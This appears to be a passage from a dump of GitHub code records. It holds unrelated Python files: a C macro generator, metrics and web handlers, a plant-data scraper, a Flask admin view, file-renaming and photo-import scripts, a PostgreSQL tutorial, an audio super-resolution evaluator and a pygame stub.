__init__(self, name: str) -> None:\n # basic\n self.name = name\n\n # derived\n self.path = 'generated/{}.h'.format(self.name)\n self.mark = '_RACER_SPEC_{}_H_'.format(self.name.upper())\n\n def gen_warning(self) -> List[str]:\n return [\n '/* AUTO-GENERATED ({}) - DO NOT EDIT */'.format(self.name)\n ]\n\n def gen_mark_header(self) -> List[str]:\n return [\n '#ifndef {}'.format(self.mark),\n '#define {}'.format(self.mark),\n ]\n\n def gen_mark_footer(self) -> List[str]:\n return [\n '#endif /* {} */'.format(self.mark),\n ]\n\n @abstractmethod\n def generate(self) -> str:\n raise RuntimeError('Method not implemented')\n\n def save(self) -> None:\n os.makedirs(os.path.dirname(self.path), exist_ok=True)\n with open(self.path, 'w') as f:\n f.write(self.generate())\n\n\nclass Generator_VARDEF(Generator):\n CHARSET = string.ascii_uppercase\n\n def __init__(self, num_group: int, max_group_size: int) -> None:\n super(Generator_VARDEF, self).__init__('vardef')\n self.num_group = num_group\n self.max_group_size = max_group_size\n\n def gen_ignore(self) -> List[str]:\n return [\n '#define _VARDEF_IGNORE(...) static_assert(false)'\n ]\n\n def gen_pack(self, num_group: int, group_size: int) -> List[str]:\n exprs = [] # type: List[str]\n\n # common\n vardef = 'VARDEF{}'.format(group_size)\n prefix = '_' + vardef + '_'\n\n # generate SELECT\n elems = [] # type: List[str]\n for i in range(num_group + 1):\n for j in range(group_size):\n elems.append('{}{}'.format(Generator_VARDEF.CHARSET[j], i))\n\n exprs.append(\n '#define {}SELECT({}, N, ...) N'.format(\n prefix, ', '.join(elems)\n )\n )\n\n # generate GROUP_X\n arg_group = ', '.join([\n Generator_VARDEF.CHARSET[j] for j in range(group_size)\n ])\n\n exprs.append(\n '#define {}GROUP0(Func, None, ...) None'.format(\n prefix\n )\n )\n for i in range(1, num_group + 1, 1):\n exprs.append(' '.join([\n '#define',\n '{}GROUP{}(Func, None, {}, ...)'.format(prefix, i, arg_group),\n 'Func({})'.format(arg_group),\n '{}GROUP{}(Func, None, __VA_ARGS__)'.format(prefix, i - 1),\n ]))\n\n # generate VARDEF\n exprs.append(' '.join([\n '#define',\n '{}(Func, None, ...)'.format(vardef),\n '{}SELECT(, , ##__VA_ARGS__, {})(Func, None, __VA_ARGS__)'.format(\n prefix, ', '.join([\n '{}GROUP{}'.format(prefix, i) +\n ', _VARDEF_IGNORE' * (group_size - 1)\n for i in range(num_group, -1, -1)\n ])\n )\n ]))\n\n return exprs\n\n def generate(self) -> str:\n exprs = self.gen_warning()\n exprs += self.gen_mark_header()\n exprs += self.gen_ignore()\n for i in range(1, self.max_group_size + 1, 1):\n exprs += self.gen_pack(self.num_group, i)\n exprs += self.gen_mark_footer()\n return '\\n'.join(exprs)\n\n\nif __name__ == '__main__':\n g = Generator_VARDEF(num_group=8, max_group_size=6)\n g.save()\n","repo_name":"sslab-gatech/krace","sub_path":"kernel/spec/codegen.py","file_name":"codegen.py","file_ext":"py","file_size_in_byte":3505,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"44"} +{"seq_id":"73043651652","text":"stack1 = [7]\nstack2 = []\nstack3 = [9]\nstack4 = \"\"\n\nwhile len(stack1) > 0 or len(stack2) > 0 or len(stack3) > 0:\n l1, l2, l3 = len(stack1)-1, len(stack2)-1, len(stack3)-1\n n1, n2, n3 = -1, -1, -1\n if l1 >= 0:\n n1 = stack1[l1]\n if l2 >= 0:\n n2 = stack2[l2]\n if l3 >= 0:\n n3 = stack3[l3]\n\n comp = [(n1, 1), (n2, 2), (n3, 3)]\n comp.sort(reverse=True)\n print(comp)\n if comp[0][1] == 1:\n stack1.pop()\n elif comp[0][1] == 2:\n stack2.pop()\n elif comp[0][1] == 3:\n stack3.pop()\n stack4 += str(comp[0][1])\n\n\nprint(int(stack4))\n","repo_name":"jjongwa/Algorithm-Practice","sub_path":"1021-1.py","file_name":"1021-1.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"3153065798","text":"import contextlib\nimport functools\nimport time\n\nimport aiohttp\nfrom aiohttp import web\n\nimport prometheus_client\nimport prometheus_client.openmetrics.exposition\n\n\nclass PrometheusMetrics:\n def __init__(self, registry=None):\n super().__init__()\n self.registry = registry or prometheus_client.REGISTRY\n self._response_time_metric = prometheus_client.Summary(\n \"muclumbus_http_response_seconds\",\n \"Monotonic time passed for processing a reqeust\",\n [\"endpoint\", \"http_status\"]\n )\n self._existence_metric = prometheus_client.Gauge(\n \"muclumbus_http_endpoint_flag\",\n \"Existence of an endpoint in the code\",\n [\"endpoint\"],\n )\n # self.registry.register(self)\n\n self.handle_metrics = self.observe(\"metrics\", self.handle_metrics)\n\n def observe(self, endpoint, f):\n self._existence_metric.labels(\"metrics\").set(1)\n\n @functools.wraps(f)\n async def wrapped(*args, **kwargs):\n t0 = time.monotonic()\n status_code = 500\n try:\n response = await f(*args, **kwargs)\n status_code = response.status\n return response\n finally:\n t1 = time.monotonic()\n self._response_time_metric.labels(\n endpoint, str(status_code)\n ).observe(t1-t0)\n\n return wrapped\n\n def collect(self):\n yield self._existence_metric\n yield self._response_time_metric\n\n async def handle_metrics(self, request):\n content_type = \\\n prometheus_client.openmetrics.exposition.CONTENT_TYPE_LATEST\n encoder = prometheus_client.openmetrics.exposition.generate_latest\n return web.Response(\n body=encoder(self.registry),\n status=200,\n content_type=content_type.replace(\"; charset=utf-8\", \"\"),\n charset=\"utf-8\",\n )\n\n\ndef make_app(endpoint):\n app = web.Application()\n app.add_routes([web.get(\"/metrics\", endpoint.handle_metrics)])\n return app\n\n\nasync def start_app(app, bind_host, bind_port):\n runner = web.AppRunner(app)\n await runner.setup()\n site = web.TCPSite(runner, bind_host, bind_port)\n await site.start()\n return runner\n","repo_name":"horazont/muchopper","sub_path":"muchopper/bot/prometheus.py","file_name":"prometheus.py","file_ext":"py","file_size_in_byte":2297,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"44"} +{"seq_id":"5266111732","text":"#%%\nimport time\n\nimport pandas as pd\nimport requests\n\n#%%\n# Load plant ids and put them into a list for later use\nplant_ids = pd.read_csv(\n \"./csv/unique_plants_ids.csv\", squeeze=True, header=None\n).tolist()\n#%%\n# Iterate over plant ids to pull details for each plant id, and then store them for later use\nplants_details = []\n\nfor id in plant_ids:\n url = f\"https://plants.rhs.org.uk/api/plant/details/{id}\"\n\n headers = {\n \"authority\": \"plants.rhs.org.uk\",\n \"accept\": \"application/json, text/plain, */*\",\n \"accept-language\": \"it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7\",\n \"authorization\": \"\",\n \"content-length\": \"0\",\n \"content-type\": \"application/json\",\n \"origin\": \"https://www.rhs.org.uk\",\n \"referer\": \"https://www.rhs.org.uk/\",\n \"sec-ch-ua\": '\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"',\n \"sec-ch-ua-mobile\": \"?0\",\n \"sec-ch-ua-platform\": '\"macOS\"',\n \"sec-fetch-dest\": \"empty\",\n \"sec-fetch-mode\": \"cors\",\n \"sec-fetch-site\": \"same-site\",\n \"user-agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36\",\n }\n\n response = requests.request(\"POST\", url, headers=headers)\n data = response.json()\n plants_details.append(data)\n time.sleep(1) # Throttle api requests to avoid potential issues\n\n# %%\nplants_df = pd.json_normalize(plants_details)\nplants_df.to_csv(\"./csv/plants_data.csv\")\n\n# %%\n","repo_name":"Newtoniano/rhsplantscrape","sub_path":"plant_details.py","file_name":"plant_details.py","file_ext":"py","file_size_in_byte":1506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"28074409220","text":"from http.server import BaseHTTPRequestHandler\r\nfrom datetime import datetime\r\n\r\nclass handler(BaseHTTPRequestHandler):\r\n\r\n # def do_POST(self):\r\n # content_len = int(self.headers.get('Content-Length'))\r\n # self.name = self.rfile.read(content_len)\r\n\r\n\r\n def do_GET(self):\r\n self.send_response(200)\r\n self.send_header('Content-type', 'text/plain')\r\n self.end_headers()\r\n name = \"kalb\"\r\n string = \"Yoooo how's it going \" + name + \". U suck!\"\r\n self.wfile.write(self.responses.encode())\r\n return ","repo_name":"MarkSedhom1005166721/enactus-friends.github.io","sub_path":"docs/api/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"106425426","text":"from sqlalchemy.sql.expression import desc, literal_column, or_\n\nfrom orm import model_form, AdminModelConverter\n\nfrom flask_superadmin.model.base import BaseModelAdmin\nfrom sqlalchemy import schema\n\n\nclass ModelAdmin(BaseModelAdmin):\n hide_backrefs = False\n\n def __init__(self, model, session=None,\n *args, **kwargs):\n super(ModelAdmin, self).__init__(model, *args, **kwargs)\n if session:\n self.session = session\n self._primary_key = self.pk_key\n\n @staticmethod\n def model_detect(model):\n return isinstance(getattr(model, 'metadata', None), schema.MetaData)\n\n def _get_model_iterator(self, model=None):\n \"\"\"\n Return property iterator for the model\n \"\"\"\n if model is None:\n model = self.model\n\n return model._sa_class_manager.mapper.iterate_properties\n\n @property\n def pk_key(self):\n for p in self._get_model_iterator():\n if hasattr(p, 'columns'):\n for c in p.columns:\n if c.primary_key:\n return p.key\n\n def allow_pk(self):\n return False\n\n def get_model_form(self):\n return model_form\n\n def get_converter(self):\n return AdminModelConverter(self)\n\n @property\n def query(self):\n return self.get_queryset() # TODO remove eventually (kept for backwards compatibility)\n\n def get_queryset(self):\n return self.session.query(self.model)\n\n def get_objects(self, *pks):\n id = self.get_pk(self.model)\n return self.get_queryset().filter(id.in_(pks))\n\n def get_object(self, pk):\n return self.get_queryset().get(pk)\n\n def get_pk(self, instance):\n return getattr(instance, self._primary_key)\n\n def save_model(self, instance, form, adding=False):\n form.populate_obj(instance)\n if adding:\n self.session.add(instance)\n self.session.commit()\n return instance\n\n def delete_models(self, *pks):\n objs = self.get_objects(*pks)\n [self.session.delete(x) for x in objs]\n self.session.commit()\n return True\n\n def construct_search(self, field_name, op=None):\n if op == '^':\n return literal_column(field_name).startswith\n elif op == '=':\n return literal_column(field_name).op('=')\n else:\n return literal_column(field_name).contains\n\n def apply_search(self, qs, search_query):\n or_queries = []\n # treat spaces as if they were OR operators\n for word in search_query.split():\n op = word[:1]\n if op in ['^', '=']:\n word = word[1:]\n orm_lookups = [self.construct_search(str(model_field), op)\n for model_field in self.search_fields]\n or_queries.extend([orm_lookup(word) for orm_lookup in orm_lookups])\n if or_queries:\n qs = qs.filter(or_(*or_queries))\n return qs\n\n def get_list(self, page=0, sort=None, sort_desc=None, execute=False, search_query=None):\n qs = self.get_queryset()\n\n # Filter by search query\n if search_query and self.search_fields:\n qs = self.apply_search(qs, search_query)\n\n #Calculate number of rows\n count = qs.count()\n\n #Order queryset\n if sort:\n if sort_desc:\n sort = desc(sort)\n qs = qs.order_by(sort)\n\n # Pagination\n if page is not None:\n qs = qs.offset(page * self.list_per_page)\n\n qs = qs.limit(self.list_per_page)\n\n if execute:\n qs = qs.all()\n\n return count, qs\n","repo_name":"syrusakbary/Flask-SuperAdmin","sub_path":"flask_superadmin/model/backends/sqlalchemy/view.py","file_name":"view.py","file_ext":"py","file_size_in_byte":3666,"program_lang":"python","lang":"en","doc_type":"code","stars":636,"dataset":"github-code","pt":"44"} +{"seq_id":"20431624350","text":"# use snake case names\n# functions\n# getFileNamesInDir\n# file_renamer: file_path, new_name\n# file_name_purifier: file_name, chars_to_remove_from_file_name\n# directory_purifier: directory_name, chars_to_remove_fromfile_names\n\nimport os\n\ndef directory_purifier(directory_name, chars_to_remove_from_file_names, dry_run= True):\n\n files = os.listdir(directory_name)\n files_renamed = []\n\n for file_name in files:\n new_file_name = file_name_purifier(file_name, chars_to_remove_from_file_names)\n if new_file_name != file_name:\n print(\"new file name: \", new_file_name, \"old file name: \", file_name)\n files_renamed.append((file_name, new_file_name))\n file_path = os.path.join(directory_name, file_name)\n if not dry_run:\n rename_file(file_path, new_file_name)\n print(f\"Renamed file {file_name} to {new_file_name} (dry run)\")\n\n return files_renamed\n\n\ndef directory_files_renamed_sequentially_by_last_edit(directory_path, ascending=False, dry_run = True):\n\n files_sorted_by_last_edit = directory_files_sorted_by_newest_edit(directory_path)\n new_old_file_names = add_no_to_sorted_file_names(files_sorted_by_last_edit, ascending=ascending)\n if dry_run:\n return new_old_file_names\n rename_directory_files(directory_path, new_old_file_names)\n\n \n\ndef rename_file(file_path, new_name):\n os.rename(file_path, os.path.join(os.path.dirname(file_path), new_name))\n\ndef file_name_purifier(file_name, chars_to_remove_from_file_name):\n file_name = file_name.replace(chars_to_remove_from_file_name, '')\n return file_name\n\n\ndef directory_files_sorted_by_newest_edit(directory_path):\n \"sorted by oldest edit first\"\n directory_list = os.listdir(directory_path)\n\n sorted_directory_list = sorted(directory_list, \n key=lambda x: os.path.getmtime(os.path.join(directory_path, x)))\n\n return sorted_directory_list\n\ndef add_no_to_sorted_file_names(file_names_sorted_in_descending, ascending=False):\n \n if not ascending: # descending\n file_names_sorted_in_descending.reverse()\n\n numbered_file_names = [(name, f\"{i+1}_{name}\") for i, name in enumerate(file_names_sorted_in_descending)]\n\n return numbered_file_names\n\ndef rename_directory_files(directory_path, old_new_file_names):\n for old_file_name, new_file_name in old_new_file_names:\n rename_file(os.path.join(directory_path, old_file_name), new_file_name)\n\n\ndef main():\n # tmpdir = ~/tmp\n tmpdir = os.path.expanduser(\"~/tmp\")\n print(directory_files_renamed_sequentially_by_last_edit(tmpdir, ascending=True, dry_run=True))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Haiz14/lesley","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"75214323013","text":"import os\nimport shutil\nfrom datetime import date\n\ndef content_data(f,path):\n #get year, month, date from file\n content_date = date.fromtimestamp(os.stat(path + os.sep + f).st_mtime)\n #st_mtime should be replaced with information from tag file\n y,m,d = content_date.year, content_date.month, content_date.day\n if m < 10:\n m = '0'+ str(m)\n if d < 10:\n d = '0' + str(d)\n return y,m,d\ndef filter_function(x): return (x.count('.') == 1)\n\ndef rename_files(path):\n#rename files in new directory\n files = os.listdir(path)\n for f in filter(filter_function,files):\n print (f)\n y,m,d = content_data(f,path)\n f_name, f_ext = f.split('.')\n f_new = \"\".join([f_name,'_',str(y),str(m),str(d),'.',f_ext])\n src = path + os.sep + f\n src_new = path + os.sep + f_new\n try:\n os.rename(src,src_new)\n except OSError as o:\n print (f_new, \"cannot be renamed\")\n print (o)\n \ndef import_sony_pictures():\n # import from config file\n pic_path = r'C:\\Users\\Julia\\Pictures'\n \n pic_dirs = os.listdir(pic_path)\n sony_dirs = [ x for x in pic_dirs if (x.endswith('2014') or x.endswith('2015'))]\n \n print (sony_dirs)\n \n for d in sony_dirs:\n day,m,y = d.split('.')\n #replace by os.path.join\n old_dir = \"\".join([pic_path,os.sep,d])\n new_dir_part = \"\".join([y,m,day])\n #replace by os.path.join \n new_dir = \"\".join([pic_path,os.sep,new_dir_part,os.sep])\n print (old_dir)\n print (new_dir)\n if new_dir_part not in pic_dirs:\n #rename directory\n os.rename(old_dir,new_dir)\n rename_files(new_dir)\n else:\n #copy files\n print (new_dir, ' already exisits')\n files = os.listdir(old_dir)\n for f in filter(filter_function,files):\n print (f)\n y,m,d = content_data(f,old_dir)\n f_name, f_ext = f.split('.')\n f_new = \"\".join([f_name,'_',str(y),str(m),str(d),'.',f_ext])\n src = old_dir + os.sep + f\n src_new = old_dir + os.sep + f_new\n try:\n os.rename(src,src_new)\n shutil.move(src_new,new_dir)\n except OSError as o:\n print (f_new, \"cannot be renamed\")\n print (o)\n except shutil.Error:\n print (f, \" already exists in \", new_dir)\n \nif __name__ == \"__main__\":\n import_sony_pictures()\n","repo_name":"andilama/tools","sub_path":"sony_dirs.py","file_name":"sony_dirs.py","file_ext":"py","file_size_in_byte":2883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"23103670599","text":"import psycopg2\nfrom psycopg2 import Error\n\nusers = (\n (5,'mery','walker', 45),\n (6,'elsa','princess',21)\n)\n\n\ntry:\n #connect to an existing database\n connection = psycopg2.connect( \n user = \"postgres\",\n password = \"123\",\n #host = \"127.0.0.1\",\n host = \"localhost\",\n port = \"5432\",\n database = \"FS103\"\n )\n if(connection):\n print(\"Connection success\")\n cursor = connection.cursor()\n \n # create_table_query = '''CREATE TABLE IF NOT EXISTS Users\n # (ID INT PRIMARY KEY NOT NULL,\n # first_name character varying(50) NOT NULL,\n # last_name character varying(50) NOT NULL,\n # age INT NOT NULL);'''\n\n #execute a command \n #cursor.execute(create_table_query)\n #print(\"Table Created Successfully\")\n #insert records into table\n # insert_table_query = '''\n # INSERT INTO users(ID,first_name,last_name,age)\n # Values (3, 'Johnny', 'Walker' ,35),\n # (4, 'Lisa', 'Chan',30);'''\n # cursor.execute(insert_table_query)\n # print(\"to check records\")\n # count = cursor.rowcount\n # connection.commit()\n #print(count,\"records Inserted Successfully\") \n # query = \"INSERT into users(ID,first_name,last_name,age) VALUES(%s,%s,%s,%s)\"\n # cursor.executemany(query,users)\n # count = cursor.rowcount\n # connection.commit()\n # print(count,\"records inserted successfully\")\n\n select_query = \"Select * from users order by first_name asc\"\n cursor.execute(select_query)\n data_fetch = cursor.fetchall()\n # record = [record for record in data_fetch]\n for row in data_fetch:\n print(\"data from table\",row)\nexcept (Exception, Error) as error:\n print(\"Error while connecting to PostgreSQL\", error)\nfinally:\n if (connection):\n cursor.close()\n connection.close()\n print(\"PostgreSQL connection is closed\")","repo_name":"chichao89/FS104_CC","sub_path":"session7_07012021/dbEight.py","file_name":"dbEight.py","file_ext":"py","file_size_in_byte":2071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30838324530","text":"from random import randint\r\n\r\nchoises = [\"rock\",\"paper\",\"scissors\"]\r\ndef Main_game():\r\n computer = choises[randint(0,2)] #The randint is basically for the computer choosing a random number\r\n\r\n print(\"Welcome to the rock paper scissors game\\n\")\r\n player = input(\"Your choice: \").lower() #this line o code is so that you can write in the console\r\n print(\"computer choose: \" + computer)\r\n\r\n if player == computer:\r\n print(\"DRAW!\")\r\n elif player == \"rock\" and computer == \"paper\":\r\n print(\"player lose\")\r\n elif player == \"rock\" and computer == \"scissors\":\r\n print(\"player wins\")\r\n elif player == \"paper\" and computer == \"scissors\":\r\n print(\"player lose\")\r\n elif player == \"paper\" and computer == \"rock\":\r\n print(\"player wins\")\r\n elif player == \"scissors\" and computer == \"rock\":\r\n print(\"player lose\")\r\n elif player == \"scissors\" and computer == \"paper\":\r\n print(\"player wins\")\r\n \r\n Main_game()\r\n\r\nMain_game()\r\n\r\n\r\n","repo_name":"Sauceface400/turorials","sub_path":"python learning course/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8482336998","text":"# Crie um programa que leia dois números e mostre a soma entre eles.\n\n# variaveis que recebem dois numeros\nn1 = int(input('Digite o primeiro número: '))\nn2 = int(input('Digite o segundo número: '))\n\n# variavel de soma, onde soma os valores digitados pelo usuário.\nsoma = n1 + n2\n\n# printa os valores e o resultado na tela\nprint(f'A soma entre {n1} e {n2} é: {soma}')","repo_name":"RodrigoArgenton/testepython","sub_path":"1 - Mundo 1/1 - Primeiros passos/desafio3.py","file_name":"desafio3.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"72714681319","text":"from airflow import DAG\nfrom airflow.operators.python_operator import PythonOperator\n\nfrom datetime import datetime\n\nimport logging\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\n\ndef hello_world():\n logger.info(\"Hello World\")\n\n\n# Define a DAG\ndag_1 = DAG(\"dag_1\",\n start_date=datetime(2020, 6, 7),\n schedule_interval=\"@daily\") # @once, @hourly, @daily, @weekly, @monthly, @yearly, none\n\ntask_1 = PythonOperator(\n task_id=\"hello world\",\n description=\"task for dag\",\n python_callable=hello_world,\n dag=dag_1\n)\n\n# task_2\n# if task_2 depends on task_1\n# task_1 >> task_2","repo_name":"kfaheem/backpack","sub_path":"DataEngineerNanoDegree/Project5-Airflow/airflow/airflow.py","file_name":"airflow.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29278051807","text":"# !/usr/bin/python3\nfrom tkinter import *\nfrom tkinter import messagebox\n\ntop = Tk()\n\ntop.geometry(\"200x200\")\n\ndef helloCallBack():\n msg=messagebox.showinfo( \"Home\", \"Welcome to Python GUI World\")\n\n\nB = Button(top, text =\"CLICK TO LOGIN\", command = helloCallBack)\n\nB.place(x=0,y=0)\n\ntop.mainloop()\n\n","repo_name":"ambicachouta/Python2018","sub_path":"button.py","file_name":"button.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"9698356800","text":"#!/usr/bin/python3\n\n\"\"\"\n\tMeasuring time for any process(es)\n\thelps you to take a look on the\n\tefficiency of your code.\n\n\tvideo tutorial:\thttps://youtu.be/AK44C_uZ9u4\n\ttimestamp:\t\t04:39:53\n\"\"\"\n\n#\t-----------\n#\tthere're two ways\n#\tfor time measurement:\n#\n#\ttime module\n#\ttimeit module\n#\t-----------\nimport time as t\n\n\"\"\"\n\tcalculating the fibonacci series\n\tattention: if you have ENOUGH time in your life, or if you\n\twant to see the death of the sun,\n\tthen you also >could< try to use a value of 50 or higher :o)\n\n\tFn = Fn-1 + Fn-2\n\tF0 = 0 and F1 = 1\n\"\"\"\ndef fibonacci(a):\n\tif a == 0:\n\t\treturn 0\n\t#end if\n\n\tif a == 1 or a == 2:\n\t\treturn 1\n\t#end if\n\n\treturn fibonacci(a-1) + fibonacci(a-2)\n#end function\n\n#\t-----------\n#\tentry point\n#\t-----------\ndef main():\n\tctr = 40\n\n\t#\tprint function can also be used with special formatting\n\tfor i in range(ctr+1):\n\t\tstart = t.process_time()\n\t\tprint(\"F(%d) = %d\" % (i, fibonacci(i)))\n\t\tend = t.process_time()\n\n\t\tprint(f'elapsed time amount: {end-start}s')\n\t#end for\n#end main\n\nif __name__ == '__main__':\n\tmain()\n#end entry point","repo_name":"ITWorks4U/Python-3-tutorial","sub_path":"21_benchmark/fibonacci/fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22329276084","text":"import time\nimport librosa\nimport torch\nimport os\nfrom nvsr_unet import NVSR as Model\nimport numpy as np\nfrom ssr_eval import SSR_Eval_Helper, BasicTestee\n\ntorch.manual_seed(234)\nEPS = 1e-9\n\ndef to_log(input):\n assert torch.sum(input < 0) == 0, (\n str(input) + \" has negative values counts \" + str(torch.sum(input < 0))\n )\n return torch.log10(torch.clip(input, min=1e-8))\n\ndef from_log(input):\n input = torch.clip(input, min=-np.inf, max=5)\n return 10**input\n\ndef trim_center(est, ref):\n diff = np.abs(est.shape[-1] - ref.shape[-1])\n if est.shape[-1] == ref.shape[-1]:\n return est, ref\n elif est.shape[-1] > ref.shape[-1]:\n min_len = min(est.shape[-1], ref.shape[-1])\n est, ref = est[..., int(diff // 2) : -int(diff // 2)], ref\n est, ref = est[..., :min_len], ref[..., :min_len]\n return est, ref\n else:\n min_len = min(est.shape[-1], ref.shape[-1])\n est, ref = est, ref[..., int(diff // 2) : -int(diff // 2)]\n est, ref = est[..., :min_len], ref[..., :min_len]\n return est, ref\n\n\ndef get_n_params(model):\n pp = 0\n for p in list(model.parameters()):\n nn = 1\n for s in list(p.size()):\n nn = nn * s\n pp += nn\n return pp\n\n\nclass NVSRBaseTestee(BasicTestee):\n def __init__(self, device) -> None:\n self.model_name = \"unet\"\n self.ckpt = os.path.join(\n os.path.expanduser(\"~\"),\n \".cache/ssr_eval/NVSR/epoch=11-step=22499-val_l=0.27.pth\",\n )\n self.download_pretrained()\n self.model = Model(channels=1)\n self.model.load_state_dict(torch.load(self.ckpt))\n self.model.eval()\n self.device = device\n self.model = self.model.to(self.device)\n self.current = time.time()\n\n def download_pretrained(self):\n import urllib.request\n\n if not os.path.exists(self.ckpt):\n os.makedirs(os.path.dirname(self.ckpt), exist_ok=True)\n print(\n \"Downloading the weight of pretrained speech super resolution baseline model NVSR\"\n )\n urllib.request.urlretrieve(\n \"https://zenodo.org/record/6370601/files/epoch%3D11-step%3D22499-val_l%3D0.27.pth?download=1\",\n self.ckpt,\n )\n print(\n \"Weights downloaded in: {} Size: {}\".format(\n self.ckpt, os.path.getsize(self.ckpt)\n )\n )\n\n def pre(self, input):\n input = input[None, ...].to(self.device)\n sp, _, _ = self.model.f_helper.wav_to_spectrogram_phase(input)\n mel_orig = self.model.mel(sp.permute(0, 1, 3, 2)).permute(0, 1, 3, 2)\n return sp, mel_orig\n\n def perform(self, filename):\n x, _ = librosa.load(filename, sr=44100)\n res = self.infer(x)\n sf.write(\"result.wav\", res, 44100)\n\n def infer(self, x):\n return x\n\n\nclass NVSRTestee(NVSRBaseTestee):\n def __init__(self, device) -> None:\n super(NVSRTestee, self).__init__(device)\n\n def infer(self, x):\n with torch.no_grad():\n segment = torch.Tensor(x.copy()).to(self.device)[None, ...]\n _, mel_noisy = self.pre(segment)\n out = self.model(mel_noisy)\n denoised_mel = from_log(out[\"mel\"])\n out = self.model.vocoder(denoised_mel, cuda=True)\n out, _ = trim_center(out, segment)\n out = out.squeeze()\n return self.tensor2numpy(out)\n\n\nclass NVSRPostProcTestee(NVSRBaseTestee):\n def __init__(self, device) -> None:\n super(NVSRPostProcTestee, self).__init__(device)\n\n def infer(self, x):\n with torch.no_grad():\n segment = torch.Tensor(x.copy()).to(self.device)[None, ...]\n _, mel_noisy = self.pre(segment)\n out = self.model(mel_noisy)\n denoised_mel = from_log(out[\"mel\"])\n out = self.model.vocoder(denoised_mel, cuda=True)\n out, _ = trim_center(out, segment)\n out = self.tensor2numpy(out)\n out = np.squeeze(out)\n out = self.postprocessing(x, out)\n return out\n\n\nclass NVSRPaddingPostProcTestee(NVSRBaseTestee):\n def __init__(self, device) -> None:\n super(NVSRPaddingPostProcTestee, self).__init__(device)\n\n def get_cutoff_index_v2(self, x):\n energy = np.cumsum(np.sum(x, axis=-1))\n return self.find_cutoff(energy, 0.97)\n\n def add_segment_to_higher_freq(self, mel_lr):\n # mel_lr: [128, t-steps]\n size = mel_lr.size()\n mel_lr = mel_lr.squeeze().transpose(0, 1).cpu().numpy()\n cutoffratio = self.get_cutoff_index_v2(mel_lr)\n avg_energy = np.tile(mel_lr[cutoffratio, :], (mel_lr.shape[0], 1))\n mel_lr[cutoffratio:, ...] = 0\n avg_energy[:cutoffratio, ...] = 0\n mel_lr = mel_lr + avg_energy\n mel_lr = (\n torch.Tensor(mel_lr.copy()).transpose(0, 1)[None, None, ...].to(self.device)\n )\n assert size == mel_lr.size()\n return mel_lr\n\n def infer(self, x):\n with torch.no_grad():\n segment = torch.Tensor(x.copy()).to(self.device)[None, ...]\n _, mel_noisy = self.pre(segment)\n denoised_mel = self.add_segment_to_higher_freq(mel_noisy)\n out = self.model.vocoder(denoised_mel, cuda=True)\n out, _ = trim_center(out, segment)\n out = self.tensor2numpy(out)\n out = np.squeeze(out)\n out = self.postprocessing(x, out)\n return out\n\nif __name__ == \"__main__\":\n import soundfile as sf\n\n if(torch.cuda.is_available()): device = \"cuda\"\n else: device=\"cpu\"\n \n for test_name in [\"NVSRPostProcTestee\"]:\n testee = eval(test_name)(device=device)\n helper = SSR_Eval_Helper(\n testee,\n test_name=test_name,\n input_sr=44100,\n output_sr=44100,\n evaluation_sr=44100,\n setting_fft={\n \"cutoff_freq\": [1000, 2000, 4000, 6000, 8000, 12000],\n },\n save_processed_result=True,\n )\n helper.evaluate(limit_test_nums=2, limit_test_speaker=-1)\n","repo_name":"haoheliu/ssr_eval","sub_path":"examples/NVSR/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6124,"program_lang":"python","lang":"en","doc_type":"code","stars":109,"dataset":"github-code","pt":"18"} +{"seq_id":"1609099170","text":"import sys\n\nimport pygame\n\nclass Main:\n \"\"\"Overall class.\"\"\"\n\n def __init__(self):\n \"\"\"Initialise the game.\"\"\"\n pygame.init()\n\n # screen\n self.screen = pygame.display.set_mode((0, 0), pygame.FULLSCREEN)\n # self.screen_width = self.screen.get_rect().width\n # self.screen_height = self.screen.get_rect().height\n\n pygame.display.set_caption(\"Rocket\")\n\n self.rocket = Rocket(self)\n \n\n def run_game(self):\n \"\"\"Main loop for the game\"\"\"\n\n while True:\n # check for key events, q for quit for now\n self._check_events()\n self.rocket.update()\n \n self.screen.fill((200, 200, 200))\n self.rocket.blit_rocket()\n\n pygame.display.flip()\n\n def _check_events(self):\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n if event.type == pygame.KEYDOWN:\n self._check_keydown_events(event)\n if event.type == pygame.KEYUP:\n self._check_keyup_events(event)\n\n def _check_keydown_events(self, event):\n \"\"\"Handle key pressess.\"\"\"\n if event.key == pygame.K_q:\n sys.exit()\n if event.key == pygame.K_RIGHT:\n 